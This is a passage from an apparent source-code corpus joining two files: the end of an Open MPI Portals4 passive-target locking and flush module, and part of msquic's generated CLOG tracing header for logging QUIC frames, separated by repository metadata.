if (OMPI_SUCCESS != ret) return ret;
if (LOCK_ILLEGAL == (LOCK_ILLEGAL & result)) return OMPI_ERR_RMA_SYNC;
if (0 == result) break;
}
return OMPI_SUCCESS;
}
static inline int
end_exclusive(ompi_osc_portals4_module_t *module,
int target)
{
int ret;
ret = lk_write64(module, target, LOCK_UNLOCKED);
return ret;
}
static inline int
start_shared(ompi_osc_portals4_module_t *module,
int target)
{
int64_t result;
int ret;
while (true) {
ret = lk_add64(module, target, 1, &result);
if (OMPI_SUCCESS != ret) return ret;
if (result > (int64_t)LOCK_EXCLUSIVE) {
if (LOCK_ILLEGAL == (LOCK_ILLEGAL & result)) return OMPI_ERR_RMA_SYNC;
ret = lk_add64(module, target, -1, &result);
if (OMPI_SUCCESS != ret) return ret;
} else {
break;
}
}
return OMPI_SUCCESS;
}
static inline int
end_shared(ompi_osc_portals4_module_t *module,
int target)
{
int64_t result;
int ret;
ret = lk_add64(module, target, -1, &result);
return ret;
}
int
ompi_osc_portals4_lock(int lock_type,
int target,
int mpi_assert,
struct ompi_win_t *win)
{
ompi_osc_portals4_module_t *module =
(ompi_osc_portals4_module_t*) win->w_osc_module;
ompi_osc_portals4_outstanding_lock_t* lock;
int ret;
module->passive_target_access_epoch = true;
lock = OBJ_NEW(ompi_osc_portals4_outstanding_lock_t);
lock->target = target;
if (0 == (mpi_assert & MPI_MODE_NOCHECK)) {
if (MPI_LOCK_EXCLUSIVE == lock_type) {
lock->lock_type = lock_exclusive;
ret = start_exclusive(module, target);
} else {
lock->lock_type = lock_shared;
ret = start_shared(module, target);
}
} else {
lock->lock_type = lock_nocheck;
ret = OMPI_SUCCESS;
}
if (OMPI_SUCCESS == ret) {
opal_list_append(&module->outstanding_locks, &lock->super);
} else {
OBJ_RELEASE(lock);
}
return ret;
}
int
ompi_osc_portals4_unlock(int target,
struct ompi_win_t *win)
{
ompi_osc_portals4_module_t *module =
(ompi_osc_portals4_module_t*) win->w_osc_module;
ompi_osc_portals4_outstanding_lock_t *lock = NULL, *item;
int ret;
OPAL_LIST_FOREACH(item, &module->outstanding_locks,
ompi_osc_portals4_outstanding_lock_t) {
if (item->target == target) {
lock = item;
break;
}
}
if (NULL != item) {
opal_list_remove_item(&module->outstanding_locks, &lock->super);
} else {
return OMPI_ERR_RMA_SYNC;
}
ret = ompi_osc_portals4_complete_all(module);
if (ret != OMPI_SUCCESS) return ret;
if (lock->lock_type == lock_exclusive) {
ret = end_exclusive(module, target);
} else if (lock->lock_type == lock_shared) {
ret = end_shared(module, target);
} else {
ret = OMPI_SUCCESS;
}
module->passive_target_access_epoch = false;
OBJ_RELEASE(lock);
return ret;
}
int
ompi_osc_portals4_lock_all(int mpi_assert,
struct ompi_win_t *win)
{
ompi_osc_portals4_module_t *module =
(ompi_osc_portals4_module_t*) win->w_osc_module;
ompi_osc_portals4_outstanding_lock_t* lock;
int ret = OMPI_SUCCESS;
module->passive_target_access_epoch = true;
lock = OBJ_NEW(ompi_osc_portals4_outstanding_lock_t);
lock->target = -1;
if (0 == (mpi_assert & MPI_MODE_NOCHECK)) {
int i, comm_size;
lock->lock_type = lock_shared;
comm_size = ompi_comm_size(module->comm);
for (i = 0 ; i < comm_size ; ++i) {
ret |= start_shared(module, i);
}
} else {
lock->lock_type = lock_nocheck;
ret = OMPI_SUCCESS;
}
if (OMPI_SUCCESS == ret) {
opal_list_append(&module->outstanding_locks, &lock->super);
} else {
OBJ_RELEASE(lock);
}
return ret;
}
int
ompi_osc_portals4_unlock_all(struct ompi_win_t *win)
{
ompi_osc_portals4_module_t *module =
(ompi_osc_portals4_module_t*) win->w_osc_module;
ompi_osc_portals4_outstanding_lock_t *lock = NULL, *item;
int ret;
OPAL_LIST_FOREACH(item, &module->outstanding_locks,
ompi_osc_portals4_outstanding_lock_t) {
if (item->target == -1) {
lock = item;
break;
}
}
if (NULL != item) {
opal_list_remove_item(&module->outstanding_locks, &lock->super);
} else {
return OMPI_ERR_RMA_SYNC;
}
ret = ompi_osc_portals4_complete_all(module);
if (ret != OMPI_SUCCESS) return ret;
if (lock->lock_type == lock_shared) {
int i, comm_size;
comm_size = ompi_comm_size(module->comm);
for (i = 0 ; i < comm_size ; ++i) {
ret |= end_shared(module, i);
}
}
module->passive_target_access_epoch = false;
OBJ_RELEASE(lock);
return OMPI_SUCCESS;
}
int
ompi_osc_portals4_sync(struct ompi_win_t *win)
{
/* Not sure this is strictly necessary, but why not? */
opal_atomic_mb();
PtlAtomicSync();
return OMPI_SUCCESS;
}
int
ompi_osc_portals4_flush(int target,
struct ompi_win_t *win)
{
ompi_osc_portals4_module_t *module =
(ompi_osc_portals4_module_t*) win->w_osc_module;
/* flush is only allowed from within a passive target epoch */
if (!module->passive_target_access_epoch) {
return OMPI_ERR_RMA_SYNC;
}
return ompi_osc_portals4_complete_all(module);
}
int
ompi_osc_portals4_flush_all(struct ompi_win_t *win)
{
ompi_osc_portals4_module_t *module =
(ompi_osc_portals4_module_t*) win->w_osc_module;
/* flush is only allowed from within a passive target epoch */
if (!module->passive_target_access_epoch) {
return OMPI_ERR_RMA_SYNC;
}
return ompi_osc_portals4_complete_all(module);
}
int
ompi_osc_portals4_flush_local(int target,
struct ompi_win_t *win)
{
ompi_osc_portals4_module_t *module =
(ompi_osc_portals4_module_t*) win->w_osc_module;
/* flush is only allowed from within a passive target epoch */
if (!module->passive_target_access_epoch) {
return OMPI_ERR_RMA_SYNC;
}
return ompi_osc_portals4_complete_all(module);
}
int
ompi_osc_portals4_flush_local_all(struct ompi_win_t *win)
{
ompi_osc_portals4_module_t *module =
(ompi_osc_portals4_module_t*) win->w_osc_module;
/* flush is only allowed from within a passive target epoch */
if (!module->passive_target_access_epoch) {
return OMPI_ERR_RMA_SYNC;
}
return ompi_osc_portals4_complete_all(module);
}
|
4953caf42fb649b07fd8e18e2707d2a02cdcad33
|
1231379e557a3094413045721b4c65ce9bae568b
|
/src/generated/linux/frame.c.clog.h
|
76e5a32b54e706203095a6251af0dc74f8367af2
|
[
"MIT"
] |
permissive
|
microsoft/msquic
|
a63982f1b7d017fb0497e2dce56f1ef527bd6eaa
|
f91ccc2f975225a278bc68238555ed0923e676ba
|
refs/heads/main
| 2023-09-04T01:25:39.133074
| 2023-08-28T18:04:51
| 2023-08-28T18:04:51
| 217,654,199
| 3,641
| 521
|
MIT
| 2023-09-14T14:36:09
| 2019-10-26T04:10:24
|
C
|
UTF-8
|
C
| false
| false
| 45,496
|
h
|
frame.c.clog.h
|
#ifndef CLOG_DO_NOT_INCLUDE_HEADER
#include <clog.h>
#endif
#undef TRACEPOINT_PROVIDER
#define TRACEPOINT_PROVIDER CLOG_FRAME_C
#undef TRACEPOINT_PROBE_DYNAMIC_LINKAGE
#define TRACEPOINT_PROBE_DYNAMIC_LINKAGE
#undef TRACEPOINT_INCLUDE
#define TRACEPOINT_INCLUDE "frame.c.clog.h.lttng.h"
#if !defined(DEF_CLOG_FRAME_C) || defined(TRACEPOINT_HEADER_MULTI_READ)
#define DEF_CLOG_FRAME_C
#include <lttng/tracepoint.h>
#define __int64 __int64_t
#include "frame.c.clog.h.lttng.h"
#endif
#include <lttng/tracepoint-event.h>
#ifndef _clog_MACRO_QuicTraceLogVerbose
#define _clog_MACRO_QuicTraceLogVerbose 1
#define QuicTraceLogVerbose(a, ...) _clog_CAT(_clog_ARGN_SELECTOR(__VA_ARGS__), _clog_CAT(_,a(#a, __VA_ARGS__)))
#endif
#ifndef _clog_MACRO_QuicTraceEvent
#define _clog_MACRO_QuicTraceEvent 1
#define QuicTraceEvent(a, ...) _clog_CAT(_clog_ARGN_SELECTOR(__VA_ARGS__), _clog_CAT(_,a(#a, __VA_ARGS__)))
#endif
#ifdef __cplusplus
extern "C" {
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogUnknownType
// [%c][%cX][%llu] unknown frame (%llu)
// QuicTraceLogVerbose(
FrameLogUnknownType,
"[%c][%cX][%llu] unknown frame (%llu)",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber,
FrameType);
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
// arg5 = arg5 = FrameType = arg5
----------------------------------------------------------*/
#ifndef _clog_6_ARGS_TRACE_FrameLogUnknownType
#define _clog_6_ARGS_TRACE_FrameLogUnknownType(uniqueId, encoded_arg_string, arg2, arg3, arg4, arg5)\
tracepoint(CLOG_FRAME_C, FrameLogUnknownType , arg2, arg3, arg4, arg5);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogPadding
// [%c][%cX][%llu] PADDING Len:%hu
// QuicTraceLogVerbose(
FrameLogPadding,
"[%c][%cX][%llu] PADDING Len:%hu",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber,
(uint16_t)((*Offset - Start) + 1));
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
// arg5 = arg5 = (uint16_t)((*Offset - Start) + 1) = arg5
----------------------------------------------------------*/
#ifndef _clog_6_ARGS_TRACE_FrameLogPadding
#define _clog_6_ARGS_TRACE_FrameLogPadding(uniqueId, encoded_arg_string, arg2, arg3, arg4, arg5)\
tracepoint(CLOG_FRAME_C, FrameLogPadding , arg2, arg3, arg4, arg5);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogPing
// [%c][%cX][%llu] PING
// QuicTraceLogVerbose(
FrameLogPing,
"[%c][%cX][%llu] PING",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber);
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
----------------------------------------------------------*/
#ifndef _clog_5_ARGS_TRACE_FrameLogPing
#define _clog_5_ARGS_TRACE_FrameLogPing(uniqueId, encoded_arg_string, arg2, arg3, arg4)\
tracepoint(CLOG_FRAME_C, FrameLogPing , arg2, arg3, arg4);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogAckInvalid
// [%c][%cX][%llu] ACK [Invalid]
// QuicTraceLogVerbose(
FrameLogAckInvalid,
"[%c][%cX][%llu] ACK [Invalid]",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber);
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
----------------------------------------------------------*/
#ifndef _clog_5_ARGS_TRACE_FrameLogAckInvalid
#define _clog_5_ARGS_TRACE_FrameLogAckInvalid(uniqueId, encoded_arg_string, arg2, arg3, arg4)\
tracepoint(CLOG_FRAME_C, FrameLogAckInvalid , arg2, arg3, arg4);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogAck
// [%c][%cX][%llu] ACK Largest:%llu Delay:%llu
// QuicTraceLogVerbose(
FrameLogAck,
"[%c][%cX][%llu] ACK Largest:%llu Delay:%llu",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber,
Frame.LargestAcknowledged,
Frame.AckDelay);
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
// arg5 = arg5 = Frame.LargestAcknowledged = arg5
// arg6 = arg6 = Frame.AckDelay = arg6
----------------------------------------------------------*/
#ifndef _clog_7_ARGS_TRACE_FrameLogAck
#define _clog_7_ARGS_TRACE_FrameLogAck(uniqueId, encoded_arg_string, arg2, arg3, arg4, arg5, arg6)\
tracepoint(CLOG_FRAME_C, FrameLogAck , arg2, arg3, arg4, arg5, arg6);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogAckSingleBlock
// [%c][%cX][%llu] %llu
// QuicTraceLogVerbose(
FrameLogAckSingleBlock,
"[%c][%cX][%llu] %llu",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber,
Frame.LargestAcknowledged);
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
// arg5 = arg5 = Frame.LargestAcknowledged = arg5
----------------------------------------------------------*/
#ifndef _clog_6_ARGS_TRACE_FrameLogAckSingleBlock
#define _clog_6_ARGS_TRACE_FrameLogAckSingleBlock(uniqueId, encoded_arg_string, arg2, arg3, arg4, arg5)\
tracepoint(CLOG_FRAME_C, FrameLogAckSingleBlock , arg2, arg3, arg4, arg5);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogAckMultiBlock
// [%c][%cX][%llu] %llu - %llu
// QuicTraceLogVerbose(
FrameLogAckMultiBlock,
"[%c][%cX][%llu] %llu - %llu",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber,
Frame.LargestAcknowledged - Frame.FirstAckBlock,
Frame.LargestAcknowledged);
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
// arg5 = arg5 = Frame.LargestAcknowledged - Frame.FirstAckBlock = arg5
// arg6 = arg6 = Frame.LargestAcknowledged = arg6
----------------------------------------------------------*/
#ifndef _clog_7_ARGS_TRACE_FrameLogAckMultiBlock
#define _clog_7_ARGS_TRACE_FrameLogAckMultiBlock(uniqueId, encoded_arg_string, arg2, arg3, arg4, arg5, arg6)\
tracepoint(CLOG_FRAME_C, FrameLogAckMultiBlock , arg2, arg3, arg4, arg5, arg6);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogAckInvalidBlock
// [%c][%cX][%llu] [Invalid Block]
// QuicTraceLogVerbose(
FrameLogAckInvalidBlock,
"[%c][%cX][%llu] [Invalid Block]",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber);
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
----------------------------------------------------------*/
#ifndef _clog_5_ARGS_TRACE_FrameLogAckInvalidBlock
#define _clog_5_ARGS_TRACE_FrameLogAckInvalidBlock(uniqueId, encoded_arg_string, arg2, arg3, arg4)\
tracepoint(CLOG_FRAME_C, FrameLogAckInvalidBlock , arg2, arg3, arg4);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogAckEcnInvalid
// [%c][%cX][%llu] ECN [Invalid]
// QuicTraceLogVerbose(
FrameLogAckEcnInvalid,
"[%c][%cX][%llu] ECN [Invalid]",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber);
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
----------------------------------------------------------*/
#ifndef _clog_5_ARGS_TRACE_FrameLogAckEcnInvalid
#define _clog_5_ARGS_TRACE_FrameLogAckEcnInvalid(uniqueId, encoded_arg_string, arg2, arg3, arg4)\
tracepoint(CLOG_FRAME_C, FrameLogAckEcnInvalid , arg2, arg3, arg4);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogAckEcn
// [%c][%cX][%llu] ECN [ECT0=%llu,ECT1=%llu,CE=%llu]
// QuicTraceLogVerbose(
FrameLogAckEcn,
"[%c][%cX][%llu] ECN [ECT0=%llu,ECT1=%llu,CE=%llu]",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber,
Ecn.ECT_0_Count,
Ecn.ECT_1_Count,
Ecn.CE_Count);
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
// arg5 = arg5 = Ecn.ECT_0_Count = arg5
// arg6 = arg6 = Ecn.ECT_1_Count = arg6
// arg7 = arg7 = Ecn.CE_Count = arg7
----------------------------------------------------------*/
#ifndef _clog_8_ARGS_TRACE_FrameLogAckEcn
#define _clog_8_ARGS_TRACE_FrameLogAckEcn(uniqueId, encoded_arg_string, arg2, arg3, arg4, arg5, arg6, arg7)\
tracepoint(CLOG_FRAME_C, FrameLogAckEcn , arg2, arg3, arg4, arg5, arg6, arg7);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogResetStreamInvalid
// [%c][%cX][%llu] RESET_STREAM [Invalid]
// QuicTraceLogVerbose(
FrameLogResetStreamInvalid,
"[%c][%cX][%llu] RESET_STREAM [Invalid]",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber);
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
----------------------------------------------------------*/
#ifndef _clog_5_ARGS_TRACE_FrameLogResetStreamInvalid
#define _clog_5_ARGS_TRACE_FrameLogResetStreamInvalid(uniqueId, encoded_arg_string, arg2, arg3, arg4)\
tracepoint(CLOG_FRAME_C, FrameLogResetStreamInvalid , arg2, arg3, arg4);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogResetStream
// [%c][%cX][%llu] RESET_STREAM ID:%llu ErrorCode:0x%llX FinalSize:%llu
// QuicTraceLogVerbose(
FrameLogResetStream,
"[%c][%cX][%llu] RESET_STREAM ID:%llu ErrorCode:0x%llX FinalSize:%llu",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber,
Frame.StreamID,
Frame.ErrorCode,
Frame.FinalSize);
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
// arg5 = arg5 = Frame.StreamID = arg5
// arg6 = arg6 = Frame.ErrorCode = arg6
// arg7 = arg7 = Frame.FinalSize = arg7
----------------------------------------------------------*/
#ifndef _clog_8_ARGS_TRACE_FrameLogResetStream
#define _clog_8_ARGS_TRACE_FrameLogResetStream(uniqueId, encoded_arg_string, arg2, arg3, arg4, arg5, arg6, arg7)\
tracepoint(CLOG_FRAME_C, FrameLogResetStream , arg2, arg3, arg4, arg5, arg6, arg7);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogStopSendingInvalid
// [%c][%cX][%llu] STOP_SENDING [Invalid]
// QuicTraceLogVerbose(
FrameLogStopSendingInvalid,
"[%c][%cX][%llu] STOP_SENDING [Invalid]",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber);
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
----------------------------------------------------------*/
#ifndef _clog_5_ARGS_TRACE_FrameLogStopSendingInvalid
#define _clog_5_ARGS_TRACE_FrameLogStopSendingInvalid(uniqueId, encoded_arg_string, arg2, arg3, arg4)\
tracepoint(CLOG_FRAME_C, FrameLogStopSendingInvalid , arg2, arg3, arg4);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogStopSending
// [%c][%cX][%llu] STOP_SENDING ID:%llu Error:0x%llX
// QuicTraceLogVerbose(
FrameLogStopSending,
"[%c][%cX][%llu] STOP_SENDING ID:%llu Error:0x%llX",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber,
Frame.StreamID,
Frame.ErrorCode);
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
// arg5 = arg5 = Frame.StreamID = arg5
// arg6 = arg6 = Frame.ErrorCode = arg6
----------------------------------------------------------*/
#ifndef _clog_7_ARGS_TRACE_FrameLogStopSending
#define _clog_7_ARGS_TRACE_FrameLogStopSending(uniqueId, encoded_arg_string, arg2, arg3, arg4, arg5, arg6)\
tracepoint(CLOG_FRAME_C, FrameLogStopSending , arg2, arg3, arg4, arg5, arg6);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogCryptoInvalid
// [%c][%cX][%llu] CRYPTO [Invalid]
// QuicTraceLogVerbose(
FrameLogCryptoInvalid,
"[%c][%cX][%llu] CRYPTO [Invalid]",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber);
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
----------------------------------------------------------*/
#ifndef _clog_5_ARGS_TRACE_FrameLogCryptoInvalid
#define _clog_5_ARGS_TRACE_FrameLogCryptoInvalid(uniqueId, encoded_arg_string, arg2, arg3, arg4)\
tracepoint(CLOG_FRAME_C, FrameLogCryptoInvalid , arg2, arg3, arg4);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogCrypto
// [%c][%cX][%llu] CRYPTO Offset:%llu Len:%hu
// QuicTraceLogVerbose(
FrameLogCrypto,
"[%c][%cX][%llu] CRYPTO Offset:%llu Len:%hu",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber,
Frame.Offset,
(uint16_t)Frame.Length);
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
// arg5 = arg5 = Frame.Offset = arg5
// arg6 = arg6 = (uint16_t)Frame.Length = arg6
----------------------------------------------------------*/
#ifndef _clog_7_ARGS_TRACE_FrameLogCrypto
#define _clog_7_ARGS_TRACE_FrameLogCrypto(uniqueId, encoded_arg_string, arg2, arg3, arg4, arg5, arg6)\
tracepoint(CLOG_FRAME_C, FrameLogCrypto , arg2, arg3, arg4, arg5, arg6);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogNewTokenInvalid
// [%c][%cX][%llu] NEW_TOKEN [Invalid]
// QuicTraceLogVerbose(
FrameLogNewTokenInvalid,
"[%c][%cX][%llu] NEW_TOKEN [Invalid]",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber);
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
----------------------------------------------------------*/
#ifndef _clog_5_ARGS_TRACE_FrameLogNewTokenInvalid
#define _clog_5_ARGS_TRACE_FrameLogNewTokenInvalid(uniqueId, encoded_arg_string, arg2, arg3, arg4)\
tracepoint(CLOG_FRAME_C, FrameLogNewTokenInvalid , arg2, arg3, arg4);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogNewToken
// [%c][%cX][%llu] NEW_TOKEN Length:%llu
// QuicTraceLogVerbose(
FrameLogNewToken,
"[%c][%cX][%llu] NEW_TOKEN Length:%llu",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber,
Frame.TokenLength);
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
// arg5 = arg5 = Frame.TokenLength = arg5
----------------------------------------------------------*/
#ifndef _clog_6_ARGS_TRACE_FrameLogNewToken
#define _clog_6_ARGS_TRACE_FrameLogNewToken(uniqueId, encoded_arg_string, arg2, arg3, arg4, arg5)\
tracepoint(CLOG_FRAME_C, FrameLogNewToken , arg2, arg3, arg4, arg5);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogStreamInvalid
// [%c][%cX][%llu] STREAM [Invalid]
// QuicTraceLogVerbose(
FrameLogStreamInvalid,
"[%c][%cX][%llu] STREAM [Invalid]",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber);
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
----------------------------------------------------------*/
#ifndef _clog_5_ARGS_TRACE_FrameLogStreamInvalid
#define _clog_5_ARGS_TRACE_FrameLogStreamInvalid(uniqueId, encoded_arg_string, arg2, arg3, arg4)\
tracepoint(CLOG_FRAME_C, FrameLogStreamInvalid , arg2, arg3, arg4);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogStreamFin
// [%c][%cX][%llu] STREAM ID:%llu Offset:%llu Len:%hu Fin
// QuicTraceLogVerbose(
FrameLogStreamFin,
"[%c][%cX][%llu] STREAM ID:%llu Offset:%llu Len:%hu Fin",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber,
Frame.StreamID,
Frame.Offset,
(uint16_t)Frame.Length);
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
// arg5 = arg5 = Frame.StreamID = arg5
// arg6 = arg6 = Frame.Offset = arg6
// arg7 = arg7 = (uint16_t)Frame.Length = arg7
----------------------------------------------------------*/
#ifndef _clog_8_ARGS_TRACE_FrameLogStreamFin
#define _clog_8_ARGS_TRACE_FrameLogStreamFin(uniqueId, encoded_arg_string, arg2, arg3, arg4, arg5, arg6, arg7)\
tracepoint(CLOG_FRAME_C, FrameLogStreamFin , arg2, arg3, arg4, arg5, arg6, arg7);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogStream
// [%c][%cX][%llu] STREAM ID:%llu Offset:%llu Len:%hu
// QuicTraceLogVerbose(
FrameLogStream,
"[%c][%cX][%llu] STREAM ID:%llu Offset:%llu Len:%hu",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber,
Frame.StreamID,
Frame.Offset,
(uint16_t)Frame.Length);
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
// arg5 = arg5 = Frame.StreamID = arg5
// arg6 = arg6 = Frame.Offset = arg6
// arg7 = arg7 = (uint16_t)Frame.Length = arg7
----------------------------------------------------------*/
#ifndef _clog_8_ARGS_TRACE_FrameLogStream
#define _clog_8_ARGS_TRACE_FrameLogStream(uniqueId, encoded_arg_string, arg2, arg3, arg4, arg5, arg6, arg7)\
tracepoint(CLOG_FRAME_C, FrameLogStream , arg2, arg3, arg4, arg5, arg6, arg7);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogMaxDataInvalid
// [%c][%cX][%llu] MAX_DATA [Invalid]
// QuicTraceLogVerbose(
FrameLogMaxDataInvalid,
"[%c][%cX][%llu] MAX_DATA [Invalid]",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber);
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
----------------------------------------------------------*/
#ifndef _clog_5_ARGS_TRACE_FrameLogMaxDataInvalid
#define _clog_5_ARGS_TRACE_FrameLogMaxDataInvalid(uniqueId, encoded_arg_string, arg2, arg3, arg4)\
tracepoint(CLOG_FRAME_C, FrameLogMaxDataInvalid , arg2, arg3, arg4);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogMaxData
// [%c][%cX][%llu] MAX_DATA Max:%llu
// QuicTraceLogVerbose(
FrameLogMaxData,
"[%c][%cX][%llu] MAX_DATA Max:%llu",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber,
Frame.MaximumData);
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
// arg5 = arg5 = Frame.MaximumData = arg5
----------------------------------------------------------*/
#ifndef _clog_6_ARGS_TRACE_FrameLogMaxData
#define _clog_6_ARGS_TRACE_FrameLogMaxData(uniqueId, encoded_arg_string, arg2, arg3, arg4, arg5)\
tracepoint(CLOG_FRAME_C, FrameLogMaxData , arg2, arg3, arg4, arg5);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogMaxStreamDataInvalid
// [%c][%cX][%llu] MAX_STREAM_DATA [Invalid]
// QuicTraceLogVerbose(
FrameLogMaxStreamDataInvalid,
"[%c][%cX][%llu] MAX_STREAM_DATA [Invalid]",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber);
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
----------------------------------------------------------*/
#ifndef _clog_5_ARGS_TRACE_FrameLogMaxStreamDataInvalid
#define _clog_5_ARGS_TRACE_FrameLogMaxStreamDataInvalid(uniqueId, encoded_arg_string, arg2, arg3, arg4)\
tracepoint(CLOG_FRAME_C, FrameLogMaxStreamDataInvalid , arg2, arg3, arg4);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogMaxStreamData
// [%c][%cX][%llu] MAX_STREAM_DATA ID:%llu Max:%llu
// QuicTraceLogVerbose(
FrameLogMaxStreamData,
"[%c][%cX][%llu] MAX_STREAM_DATA ID:%llu Max:%llu",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber,
Frame.StreamID,
Frame.MaximumData);
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
// arg5 = arg5 = Frame.StreamID = arg5
// arg6 = arg6 = Frame.MaximumData = arg6
----------------------------------------------------------*/
#ifndef _clog_7_ARGS_TRACE_FrameLogMaxStreamData
#define _clog_7_ARGS_TRACE_FrameLogMaxStreamData(uniqueId, encoded_arg_string, arg2, arg3, arg4, arg5, arg6)\
tracepoint(CLOG_FRAME_C, FrameLogMaxStreamData , arg2, arg3, arg4, arg5, arg6);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogMaxStreamsInvalid
// [%c][%cX][%llu] MAX_STREAMS [Invalid]
// QuicTraceLogVerbose(
FrameLogMaxStreamsInvalid,
"[%c][%cX][%llu] MAX_STREAMS [Invalid]",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber);
